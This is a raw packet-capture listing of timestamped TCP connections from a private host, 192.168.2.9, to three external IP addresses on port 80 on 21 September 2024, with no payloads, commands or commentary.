Sep 21, 2024 13:33:42.054780960 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.054812908 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.054825068 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.054825068 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.054847002 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.054874897 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.054896116 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.054960012 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.065232992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.065274000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.065290928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.065397024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.065442085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.065749884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.065784931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.065819025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.065851927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.065893888 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.065893888 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.065932035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066009045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066040993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066070080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066070080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066095114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066128969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066150904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066150904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066159964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066195011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066215992 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066215992 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066431999 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066488981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066521883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066576958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066592932 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066654921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066689968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066720009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066720963 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066721916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066755056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.066771984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066771984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.066967010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.067970991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068003893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068037987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068078041 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068156958 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068247080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068279982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068311930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068342924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068346977 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068393946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068408012 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068408012 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068425894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068464994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068497896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068523884 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068523884 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068531036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068564892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068592072 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068592072 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068599939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.068645000 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.068645000 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.069041014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.069072962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.069104910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.069139957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.069150925 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.069173098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.069206953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.069216967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.069216967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.069241047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.069252014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.069295883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.071434975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.071526051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.071587086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.071630955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.071696997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.071729898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.071762085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.071784019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.071784019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.071794987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.071854115 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.071854115 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072134972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072185040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072249889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072249889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072256088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072310925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072360992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072395086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072412968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072417021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072448015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072482109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072499037 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072515011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072531939 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072547913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072582006 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072582960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072614908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072633028 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072633028 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072648048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072681904 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072695971 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072695971 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072715044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072747946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072781086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072824955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072824955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072834015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072869062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072886944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072900057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072923899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072923899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.072947979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072983027 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.072990894 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073084116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073225975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073257923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073331118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073335886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073364019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073398113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073502064 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073502064 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073685884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073719025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073753119 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073769093 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073769093 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073786020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073822021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073836088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073836088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073853970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073889017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073913097 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073913097 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.073925972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073960066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.073992014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074011087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074011087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074024916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074058056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074062109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074078083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074127913 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074153900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074263096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074270010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074297905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074331999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074338913 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074378014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074378014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074407101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074547052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074579954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074611902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074645042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074645042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074645042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074702024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074702024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074798107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074827909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074862957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074887037 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074913025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074945927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.074975014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.074982882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.075016022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.075023890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.075043917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.075095892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.086447954 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.086464882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.086481094 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.086519003 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.086534977 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.086549997 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.086565018 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.086616039 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.086683035 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.087184906 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087202072 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087217093 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087232113 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087250948 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087254047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.087265015 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087280035 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087296009 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087310076 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087315083 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.087372065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.087372065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.087910891 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087925911 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087940931 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087954998 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087970018 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087984085 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087999105 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.087999105 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.088017941 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088032961 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088047981 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088052034 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.088052034 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.088064909 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088080883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088097095 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088114977 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.088123083 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088150024 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088165045 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088169098 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.088169098 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.088295937 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.088893890 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088908911 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088924885 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.088962078 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.088979959 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.089090109 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089104891 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089118958 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089133024 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089148045 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089163065 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089176893 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089204073 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.089204073 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.089222908 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089238882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089243889 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.089252949 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089268923 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089298964 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089313030 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.089313030 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.089313984 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089329004 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089344025 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089360952 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089375973 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.089376926 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.089375973 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.089449883 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.090343952 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090368986 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090384007 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090399981 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090415955 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090431929 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090442896 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.090442896 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.090445995 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090461016 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090475082 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090485096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.090490103 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090507984 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090545893 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.090545893 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.090971947 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.090986013 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.091007948 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.091059923 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.091059923 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.091068029 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.091084003 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.091128111 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.091146946 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.118463993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.118511915 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.118546009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.118669987 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.118737936 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.119266033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.119298935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.119329929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.119365931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.119398117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.119398117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.119452000 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.126065969 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126121044 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126152992 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126214981 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.126264095 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.126651049 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126718998 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126780987 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.126796007 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126828909 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126852989 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.126861095 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126888990 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.126895905 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126904964 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.126929045 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126961946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.126977921 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.126996040 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127019882 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127031088 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127047062 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127065897 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127101898 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.127119064 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.127152920 CEST	49708	80	192.168.2.9	147.45.44.104
